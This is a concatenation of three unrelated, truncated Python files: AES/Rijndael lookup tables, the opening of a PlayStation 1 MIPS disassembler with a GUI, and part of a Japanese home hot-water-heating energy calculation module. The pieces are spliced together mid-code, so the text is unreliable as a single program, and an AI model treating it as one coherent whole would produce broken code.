0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170,
0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544,
0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918,
0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c,
0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b,
0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f,
0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273,
0xe7fcd50, 0x571c45d, 0x1863df4a, 0x136dd647,
0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb,
0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff,
0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3,
0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697)
U3 = (0x0, 0xd0b0e09, 0x1a161c12, 0x171d121b,
0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f,
0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253,
0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77,
0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b,
0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf,
0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3,
0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7,
0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920,
0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104,
0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968,
0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c,
0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0,
0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194,
0x3934be3, 0xe9845ea, 0x198557f1, 0x148e59f8,
0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc,
0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d,
0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749,
0x5aedd3e, 0x8a5d337, 0x1fb8c12c, 0x12b3cf25,
0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701,
0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd,
0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9,
0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5,
0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791,
0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456,
0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72,
0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e,
0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a,
0x63d96dd, 0xb3698d4, 0x1c2b8acf, 0x112084c6,
0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2,
0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e,
0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa,
0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7,
0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3,
0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf,
0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b,
0xa47a17c, 0x74caf75, 0x1051bd6e, 0x1d5ab367,
0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43,
0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f,
0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b,
0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc,
0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8,
0x9d4ea9f, 0x4dfe496, 0x13c2f68d, 0x1ec9f884,
0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0,
0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c,
0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078,
0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814,
0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030,
0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81,
0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5,
0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9,
0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed,
0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11,
0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635,
0xfe97c42, 0x2e2724b, 0x15ff6050, 0x18f46e59,
0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d,
0xc7a37a1, 0x17139a8, 0x166c2bb3, 0x1b6725ba,
0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e,
0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2,
0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6,
0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a,
0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e,
0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562,
0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46)
U4 = (0x0, 0x90d0b0e, 0x121a161c, 0x1b171d12,
0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a,
0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562,
0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a,
0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2,
0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca,
0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582,
0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba,
0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9,
0x1f8f57e3, 0x16825ced, 0xd9541ff, 0x4984af1,
0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9,
0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281,
0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629,
0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11,
0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59,
0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261,
0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf,
0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787,
0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf,
0x1a3182e5, 0x133c89eb, 0x82b94f9, 0x1269ff7,
0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f,
0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767,
0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f,
0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17,
0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064,
0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c,
0x5bed506, 0xcb3de08, 0x17a4c31a, 0x1ea9c814,
0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c,
0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084,
0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc,
0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4,
0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc,
0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53,
0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b,
0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223,
0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b,
0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3,
0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b,
0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3,
0x105633e9, 0x195b38e7, 0x24c25f5, 0xb412efb,
0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188,
0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0,
0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8,
0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0,
0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168,
0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50,
0xfd9640a, 0x6d46f04, 0x1dc37216, 0x14ce7918,
0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520,
0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe,
0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6,
0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e,
0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6,
0xa67b10c, 0x36aba02, 0x187da710, 0x1170ac1e,
0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026,
0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e,
0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856,
0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725,
0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d,
0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55,
0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d,
0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5,
0x15e8e6ef, 0x1ce5ede1, 0x7f2f0f3, 0xefffbfd,
0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5,
0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d)
rcon = (0x1, 0x2, 0x4, 0x8, 0x10, 0x20, 0x40, 0x80,
0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f,
0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4,
0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91)
class rijndael:
def __init__(self, key, block_size = 16):
if block_size != 16 | |
#!/usr/bin/env python3
"""SlowR3KA - PSX Disassembler [PS1/Playstation 1]
"""
__version__ = "0.7.1"
__author__ = "infval"
import ast
import sys
from struct import unpack
from re import finditer
import tkinter as tk
from tkinter import ttk
from tkinter import font as tkfont
from tkinter import filedialog
from tkinter import messagebox
class PSXHeader:
ATTR_NAMES = (
"id", "text", "data", "pc0", "gp0"
, "t_addr", "t_size"
, "d_addr", "d_size"
, "b_addr", "b_size"
, "s_addr", "s_size"
, "sp", "fp", "gp", "ret", "base"
, "marker"
)
def __init__(self, data):
marker_size = data.find(b"\x00", 76) - 76
marker_size = max(0, min(0x800 - 76, marker_size))
fmt = "<8s 17I {}s".format(marker_size)
values = unpack(fmt, data[: 76 + marker_size])
for key, value in zip(self.ATTR_NAMES, values):
if type(value) == bytes:
value = value.decode()
setattr(self, key, value)
def __str__(self):
s = (" #------------------#------------------#\n"
"| Playstation | magic : {magic:} | pc0 : {pc:08X} |\n"
"| Executable | t_addr: {ta:08X} | t_size: {ts:08X} |\n"
"| Information | s_addr: {sa:08X} | s_size: {ss:08X} |\n"
" #------------------#------------------#\n"
"| {marker}"
).format(magic =self.id , pc=self.pc0
, ta =self.t_addr, ts=self.t_size
, sa =self.s_addr, ss=self.s_size
, marker=self.marker)
return s
REGS = (
"zr", "at", "v0", "v1", "a0", "a1", "a2", "a3"
, "t0", "t1", "t2", "t3", "t4", "t5", "t6", "t7"
, "s0", "s1", "s2", "s3", "s4", "s5", "s6", "s7"
, "t8", "t9", "k0", "k1", "gp", "sp", "fp", "ra"
)
def shift(data, shft, len_bit):
return (data >> shft) & ((1 << len_bit) - 1)
def reg_shift(data, shft):
return REGS[shift(data, shft, 5)]
ALLBITS = ( 0, 32)
OPCODE = (26, 6)
SID = ( 0, 6)
BID = (16, 5)
CO = (25, 1)
MVFUNC = (21, 5)
TLBID = ( 0, 25) # (0, 6)
START_ADDR = 0xF800
pc = 0x00000000
labels = []
bjal_set = set()
def int_to_s16(n):
n &= 0xFFFF
if n & 0x8000:
n -= 0x10000
return n
def offset_to_addr(base_addr, offset):
return base_addr + (1 + int_to_s16(offset)) * 4
def Empty(inst, data):
return inst
def Unknown(inst, data):
return "{} 0x{:08X}".format(inst, data)
def COP(inst, data):
return "{} 0x{:07X}".format(inst, shift(data, 0, 25))
def Bcond(inst, data):
addr = offset_to_addr(pc, data)
labels.append((pc, addr))
if inst.upper() in ("BLTZAL", "BGEZAL"):
bjal_set.add(addr)
return "{} {}, 0x{:08X}".format(inst, reg_shift(data, 21), addr)
def JType(inst, data):
addr = (shift(data, 0, 26) << 2) | (pc & 0xF0000000)
labels.append((pc, addr))
if inst.upper() == "JAL":
bjal_set.add(addr)
return "{} 0x{:08X}".format(inst, addr)
def BranchEqualFmt(inst, data):
addr = offset_to_addr(pc, data)
labels.append((pc, addr))
return "{} {}, {}, 0x{:08X}".format(inst, reg_shift(data, 21),
reg_shift(data, 16), addr)
def BranchZeroFmt(inst, data):
addr = offset_to_addr(pc, data)
labels.append((pc, addr))
return "{} {}, 0x{:08X}".format(inst, reg_shift(data, 21), addr)
def ImmediateALU(inst, data):
return "{} {}, {}, 0x{:04X}".format(inst, reg_shift(data, 16),
reg_shift(data, 21), shift(data, 0, 16))
def ImmediateLUI(inst, data):
return "{} {}, 0x{:04X}".format(inst, reg_shift(data, 16),
shift(data, 0, 16))
def LoadStoreInstruction(inst, data):
return "{} {}, 0x{:04X}({})".format(inst, reg_shift(data, 16),
shift(data, 0, 16), reg_shift(data, 21))
def ShiftAmount(inst, data):
return "{} {}, {}, 0x{:02X}".format(inst, reg_shift(data, 11),
reg_shift(data, 16), shift(data, 6, 5))
def ShiftRegister(inst, data):
return "{} {}, {}, {}".format(inst, reg_shift(data, 11),
reg_shift(data, 16), reg_shift(data, 21))
def JumpTarget(inst, data):
return "{} {}".format(inst, reg_shift(data, 21))
def JumpRegister(inst, data):
return "{} {}, {}".format(inst, reg_shift(data, 11), reg_shift(data, 21))
def Special(inst, data):
return "{} 0x{:05X}".format(inst, shift(data, 6, 20))
def MoveFromHILO(inst, data):
return "{} {}".format(inst, reg_shift(data, 11))
def MoveToHILO(inst, data):
return "{} {}".format(inst, reg_shift(data, 21))
def DivMult(inst, data):
return "{} {}, {}".format(inst, reg_shift(data, 21), reg_shift(data, 16))
def RegisterALU(inst, data):
return "{} {}, {}, {}".format(inst, reg_shift(data, 11),
reg_shift(data, 21), reg_shift(data, 16))
def CoprocessorMove(inst, data):
return "{} {}, {}".format(inst, reg_shift(data, 16), reg_shift(data, 11))
def BC(inst, data):
return "{} 0x{:04X}".format(inst, shift(data, 0, 16))
itree = ("unknown", Unknown, OPCODE,
{
0o00 : ("unknown", Unknown, SID, # SPECIAL
{
0o00 : ("sll", ShiftAmount, ALLBITS,
{
0o00 : ("nop", Empty, (0,0),{})
}
)
, 0o02 : ("srl" , ShiftAmount, (0,0),{})
, 0o03 : ("sra" , ShiftAmount, (0,0),{})
, 0o04 : ("sllv" , ShiftRegister, (0,0),{})
, 0o06 : ("srlv" , ShiftRegister, (0,0),{})
, 0o07 : ("srav" , ShiftRegister, (0,0),{})
, 0o10 : ("jr" , JumpTarget, (0,0),{})
, 0o11 : ("jalr" , JumpRegister, (0,0),{})
, 0o14 : ("syscall", Special, (0,0),{})
, 0o15 : ("break" , Special, (0,0),{})
, 0o20 : ("mfhi" , MoveFromHILO, (0,0),{})
, 0o21 : ("mthi" , MoveToHILO, (0,0),{})
, 0o22 : ("mflo" , MoveFromHILO, (0,0),{})
, 0o23 : ("mtlo" , MoveToHILO, (0,0),{})
, 0o30 : ("mult" , DivMult, (0,0),{})
, 0o31 : ("multu" , DivMult, (0,0),{})
, 0o32 : ("div" , DivMult, (0,0),{})
, 0o33 : ("divu" , DivMult, (0,0),{})
, 0o40 : ("add" , RegisterALU, (0,0),{})
, 0o41 : ("addu" , RegisterALU, (0,0),{})
, 0o42 : ("sub" , RegisterALU, (0,0),{})
, 0o43 : ("subu" , RegisterALU, (0,0),{})
, 0o44 : ("and" , RegisterALU, (0,0),{})
, 0o45 : ("or" , RegisterALU, (0,0),{})
, 0o46 : ("xor" , RegisterALU, (0,0),{})
, 0o47 : ("nor" , RegisterALU, (0,0),{})
, 0o52 : ("slt" , RegisterALU, (0,0),{})
, 0o53 : ("sltu" , RegisterALU, (0,0),{})
}
)
, 0o01 : ("unknown", Unknown, BID, # BCOND (REGIMM)
{
0o00 : ("bltz" , Bcond, (0,0),{})
, 0o01 : ("bgez" , Bcond, (0,0),{})
, 0o20 : ("bltzal", Bcond, (0,0),{})
, 0o21 : ("bgezal", Bcond, (0,0),{})
}
)
, 0o02 : ("j" , JType, (0,0),{})
, 0o03 : ("jal" , JType, (0,0),{})
, 0o04 : ("beq" , BranchEqualFmt, (0,0),{})
, 0o05 : ("bne" , BranchEqualFmt, (0,0),{})
, 0o06 : ("blez" , BranchZeroFmt, (0,0),{})
, 0o07 : ("bgtz" , BranchZeroFmt, (0,0),{})
, 0o10 : ("addi" , ImmediateALU, (0,0),{})
, 0o11 : ("addiu", ImmediateALU, (0,0),{})
, 0o12 : ("slti" , ImmediateALU, (0,0),{})
, 0o13 : ("sltiu", ImmediateALU, (0,0),{})
, 0o14 : ("andi" , ImmediateALU, (0,0),{})
, 0o15 : ("ori" , ImmediateALU, (0,0),{})
, 0o16 : ("xori" , ImmediateALU, (0,0),{})
, 0o17 : ("lui" , ImmediateLUI, (0,0),{})
, 0o20 : ("unknown", Unknown, CO, # COP0
{
0o00 : ("unknown", Unknown, MVFUNC,
{
0o00 : ("mfc0", CoprocessorMove, (0,0),{})
, 0o04 : ("mtc0", CoprocessorMove, (0,0),{})
}
)
, 0o01 : ("unknown", Unknown, TLBID, #("cop0", COP, TLBID, # TLB
{
0o01 : ("tlbr" , Empty, (0,0),{})
, 0o02 : ("tlbwi", Empty, (0,0),{})
, 0o06 : ("tlbwr", Empty, (0,0),{})
, 0o10 : ("tlbp" , Empty, (0,0),{})
, 0o20 : ("rfe" , Empty, (0,0),{})
}
)
}
)
# , 0o21 : ("unknown", Unknown, CO, # COP1 (not valid for PSX)
# {
# 0o00 : ("unknown", Unknown, MVFUNC,
# {
# 0o00 : ("mfc1", CoprocessorMove, (0,0),{})
# , 0o02 : ("cfc1", CoprocessorMove, (0,0),{})
# , 0o04 : ("mtc1", CoprocessorMove, (0,0),{})
# , 0o06 : ("ctc1", CoprocessorMove, (0,0),{})
# , 0o10 : ("unknown", Unknown, BID, # BC (cc = 0)
# {
# 0o00 : ("bc1f", BC, (0,0),{})
# , 0o01 : ("bc1t", BC, (0,0),{})
# }
# )
# }
# )
# , 0o01 : ("cop1", COP, (0,0),{})
# }
# )
, 0o22 : ("unknown", Unknown, CO, # COP2 (GTE)
{
0o00 : ("unknown", Unknown, MVFUNC,
{
0o00 : ("mfc2", CoprocessorMove, (0,0),{})
, 0o02 : ("cfc2", CoprocessorMove, (0,0),{})
, 0o04 : ("mtc2", CoprocessorMove, (0,0),{})
, 0o06 : ("ctc2", CoprocessorMove, (0,0),{})
}
)
, 0o01 : ("cop2", COP, (0,0),{})
}
)
# , 0o23 : ("unknown", Unknown, CO, # COP3 (not valid for PSX)
# {
# 0o00 : ("unknown", Unknown, MVFUNC,
# {
# 0o00 : ("mfc3", CoprocessorMove, (0,0),{})
# , 0o02 : ("cfc3", CoprocessorMove, (0,0),{})
# , 0o04 : ("mtc3", CoprocessorMove, (0,0),{})
# , 0o06 : ("ctc3", CoprocessorMove, (0,0),{})
# }
# )
# , 0o01 : ("cop3", COP, (0,0),{})
# }
# )
, 0o40 : ("lb" , LoadStoreInstruction, (0,0),{})
, 0o41 : ("lh" , LoadStoreInstruction, (0,0),{})
, 0o42 : ("lwl" , LoadStoreInstruction, (0,0),{})
, 0o43 : ("lw" , LoadStoreInstruction, (0,0),{})
, 0o44 : ("lbu" , LoadStoreInstruction, (0,0),{})
, 0o45 : ("lhu" , LoadStoreInstruction, (0,0),{})
, 0o46 : ("lwr" , LoadStoreInstruction, (0,0),{})
, 0o50 : ("sb" , LoadStoreInstruction, (0,0),{})
, 0o51 : ("sh" , LoadStoreInstruction, (0,0),{})
, 0o52 : ("swl" , LoadStoreInstruction, (0,0),{})
, 0o53 : ("sw" , LoadStoreInstruction, (0,0),{})
, 0o56 : ("swr" , LoadStoreInstruction, (0,0),{})
# , 0o60 : ("lwc0" , LoadStoreInstruction, (0,0),{}) # not valid for PSX
# , 0o61 : ("lwc1" , LoadStoreInstruction, (0,0),{}) # not valid for PSX
, 0o62 : ("lwc2" , LoadStoreInstruction, (0,0),{})
# , 0o63 : ("lwc3" , LoadStoreInstruction, (0,0),{}) # not valid for PSX
# , 0o70 : ("swc0" , LoadStoreInstruction, (0,0),{}) # not valid for PSX
# , 0o71 : ("swc1" , LoadStoreInstruction, (0,0),{}) # not valid for PSX
, 0o72 : ("swc2" , LoadStoreInstruction, (0,0),{})
# | |
<filename>src/pyhees/section4_7.py
# ============================================================================
# 第四章 暖冷房設備
# 第七節 温水暖房
# Ver.10(エネルギー消費性能計算プログラム(住宅版)Ver.02.04~)
# ============================================================================
import numpy as np
import pyhees.section3_1 as ld
import pyhees.section4_7_a as hs_oil
import pyhees.section4_7_b as hs_gas
import pyhees.section4_7_c as hs_eheater
import pyhees.section4_7_d as hs_ehpump
import pyhees.section4_7_e as hs_gas_hybrid
import pyhees.section4_7_f as hs_hybrid_gas
import pyhees.section4_7_g as hs_whybrid
import pyhees.section4_7_n as hs_ghpump
import pyhees.section4_7_j as rad_panel
import pyhees.section4_7_k as rad_fanc
import pyhees.section4_7_l as rad_floor
import pyhees.section4_7_i as pipe
from pyhees.section4_7_common import get_Q_out_H_hs_d_t
from pyhees.section11_1 import \
load_outdoor, \
get_Theta_ex, \
get_X_ex, \
calc_h_ex, \
get_Theta_ex_a_Ave, \
get_Theta_ex_d_Ave_d, \
get_Theta_ex_H_Ave
# ============================================================================
# 5. 最大暖房出力
# ============================================================================
def calc_Q_max_H_d_t_i(radiator, A_HCZ, Theta_SW, region, mode, R_type):
"""最大暖房出力
Args:
radiator(dict): 放熱器仕様
A_HCZ(float): 暖冷房区画の床面積
Theta_SW(float): 往き温水温度
region(int): 省エネルギー地域区分
mode(str): 運転モード 'い', 'ろ', 'は'
R_type(string): 居室の形式
Returns:
ndarray: 最大暖房出力
"""
return calc_Q_max_H_rad_d_t_i(radiator, A_HCZ, Theta_SW, region, mode, R_type)
# ============================================================================
# 6. エネルギー消費量
# ============================================================================
# ============================================================================
# 6.1 消費電力量
# ============================================================================
def calc_E_E_H_d_t(H_HS, H_MR, H_OR, A_A, A_MR, A_OR, region, mode_MR, mode_OR, L_T_H_rad, L_CS_x_t, L_CL_x_t, CG=None):
"""消費電力量 (1)
Args:
H_HS(dict): 温水暖房機の仕様
H_MR(dict): 暖房機器の仕様
H_OR(dict): 暖房機器の仕様
A_MR(float): 主たる居室の床面積 (m2)
A_OR(float): その他の居室の床面積 (m2)
region(int): 省エネルギー地域区分
mode_MR(str): 主たる居室の運転モード 'い', 'ろ', 'は'
mode_OR(str): その他の居室の運転モード 'い', 'ろ', 'は'
L_T_H_rad(ndarray): 放熱器の暖房負荷
L_CS_x_t(ndarray): 暖冷房区画の冷房顕熱負荷
L_CL_x_t(ndarray): 暖冷房区画の冷房潜熱負荷
CG(dict, optional): コージェネレーション設備の仕様 (Default value = None)
A_A: returns: 消費電力量 (1)
Returns:
ndarray: 消費電力量 (1)
"""
rad_types = get_rad_type_list()
rad_list = get_rad_list(H_MR, H_OR)
E_E_hs_d_t = calc_E_E_hs_d_t(H_HS, H_MR, H_OR, region, A_A, A_MR, A_OR, mode_MR, mode_OR, L_T_H_rad, CG, L_CS_x_t, L_CL_x_t)
E_E_rad_d_t = np.zeros((5, 24 * 365))
for i in [1, 3, 4, 5]:
if rad_list[i - 1] is None:
continue
if rad_list[i - 1]['type'] in rad_types:
radiator = rad_list[i - 1]
R_type = '主たる居室' if i == 1 else 'その他の居室'
mode = mode_MR if i == 1 else mode_OR
A_HCZ = calc_A_HCZ_i(i, A_A, A_MR, A_OR)
Theta_SW_hs_op = get_Theta_SW_hs_op(H_HS['type'], CG)
p_hs_d_t = calc_p_hs_d_t(Theta_SW_hs_op, rad_list, L_T_H_rad, A_A, A_MR, A_OR, region, mode_MR, mode_OR)
Theta_SW_d_t = get_Theta_SW_d_t(Theta_SW_hs_op, p_hs_d_t)
Q_max_H_rad_d_t_i = calc_Q_max_H_rad_d_t_i(radiator, A_HCZ, Theta_SW_d_t, region, mode, R_type)
Q_T_H_rad_d_t_i = calc_Q_T_H_rad_d_t_i(Q_max_H_rad_d_t_i, L_T_H_rad[i - 1])
E_E_rad_d_t_i = calc_E_E_rad_d_t_i(i, radiator, Q_T_H_rad_d_t_i, Theta_SW_d_t, A_A, A_MR, A_OR, region, mode,
R_type)
E_E_rad_d_t[i - 1, :] = E_E_rad_d_t_i
print('{} E_E_rad_d_t_{} = {} [KWh] (L_T_H_rad_d_t_{} = {} [MJ])'.format(radiator['type'], i,
np.sum(E_E_rad_d_t_i), i,
np.sum(L_T_H_rad[i - 1])))
E_E_H_d_t = E_E_hs_d_t + np.sum(E_E_rad_d_t, axis=0)
return E_E_H_d_t
# ============================================================================
# 6.2 灯油消費量
# ============================================================================
def calc_E_K_H_d_t(H_HS, H_MR, H_OR, A_A, A_MR, A_OR, region, mode_MR, mode_OR, L_T_H_rad, CG):
"""灯油消費量 (2)
Args:
H_HS(dict): 温水暖房機の仕様
H_MR(dict): 暖房機器の仕様
H_OR(dict): 暖房機器の仕様
A_A(float): 床面積の合計 (m2)
A_MR(float): 主たる居室の床面積 (m2)
A_OR(float): その他の居室の床面積 (m2)
region(int): 省エネルギー地域区分
mode_MR(str): 主たる居室の運転モード 'い', 'ろ', 'は'
mode_OR(str): その他の居室の運転モード 'い', 'ろ', 'は'
L_T_H_rad(ndarray): 放熱器の暖房負荷
CG(dict): コージェネレーションの機器
Returns:
ndarray: 灯油消費量 (2)
"""
return calc_E_K_hs_d_t(H_HS, H_MR, H_OR, A_A, A_MR, A_OR, region, mode_MR, mode_OR, L_T_H_rad, CG)
# ============================================================================
# 6.3 ガス消費量
# ============================================================================
def calc_E_G_H_d_t(H_HS, H_MR, H_OR, A_A, A_MR, A_OR, region, mode_MR, mode_OR, L_T_H_rad, CG):
"""ガス消費量 (3)
Args:
H_HS(dict): 温水暖房機の仕様
H_MR(dict): 暖房機器の仕様
H_OR(dict): 暖房機器の仕様
A_A(float): 床面積の合計 (m2)
A_MR(float): 主たる居室の床面積 (m2)
A_OR(float): その他の居室の床面積 (m2)
region(int): 省エネルギー地域区分
mode_MR(str): 主たる居室の運転モード 'い', 'ろ', 'は'
mode_OR(str): その他の居室の運転モード 'い', 'ろ', 'は'
L_T_H_rad(ndarray): 放熱器の暖房負荷
CG(dict): コージェネレーションの機器
Returns:
ndarray: ガス消費量 (3)
"""
return calc_E_G_hs_d_t(H_HS, H_MR, H_OR, A_A, A_MR, A_OR, region, mode_MR, mode_OR, L_T_H_rad, CG)
# ============================================================================
# 6.4 その他の燃料による一次エネルギー消費量
# ============================================================================
def calc_E_M_H_d_t(H_HS):
"""その他の燃料による一次エネルギー消費量 (4)
Args:
H_HS(dict): 温水暖房機の仕様
Returns:
ndarray: その他の燃料による一次エネルギー消費量 (4)
"""
return get_E_M_hs_d_t(H_HS)
# ============================================================================
# 7. 温水暖房熱源機のエネルギー消費量
# ============================================================================
def calc_Q_UT_hs_d_t(H_HS, H_MR, H_OR, region, A_A, A_MR, A_OR, mode_MR, mode_OR, L_T_H_rad, CG, L_CS_x_t_i, L_CL_x_t_i):
"""温水暖房用熱源機の未処理
Args:
H_HS(dict): 温水暖房機の仕様
H_MR(dict): 暖房機器の仕様
H_OR(dict): 暖房機器の仕様
region(int): 省エネルギー地域区分
A_A(float): 床面積の合計 (m2)
A_MR(float): 主たる居室の床面積 (m2)
A_OR(float): その他の居室の床面積 (m2)
mode_MR(str): 主たる居室の運転モード 'い', 'ろ', 'は'
mode_OR(str): その他の居室の運転モード 'い', 'ろ', 'は'
L_T_H_rad(ndarray): 放熱器の暖房負荷
CG(dict): コージェネレーションの機器
L_CS_x_t_i(ndarray): 日付dの時刻tにおける暖冷房区画iの冷房顕熱負荷 (MJ/h)
L_CL_x_t_i(ndarray): 日付dの時刻tにおける暖冷房区画iの冷房潜熱負荷 (MJ/h)
Returns:
ndarray: 温水暖房用熱源機の未処理
"""
hs_type = H_HS['type']
# 主たる居室、その他の居室という単位で設定された放熱機器を暖房区画ごとの配列に変換
rad_list = get_rad_list(H_MR, H_OR)
# 温水暖房用熱源機の往き温水温度
Theta_SW_hs_op = get_Theta_SW_hs_op(hs_type, CG)
p_hs = calc_p_hs_d_t(Theta_SW_hs_op, rad_list, L_T_H_rad, A_A, A_MR, A_OR, region, mode_MR, mode_OR)
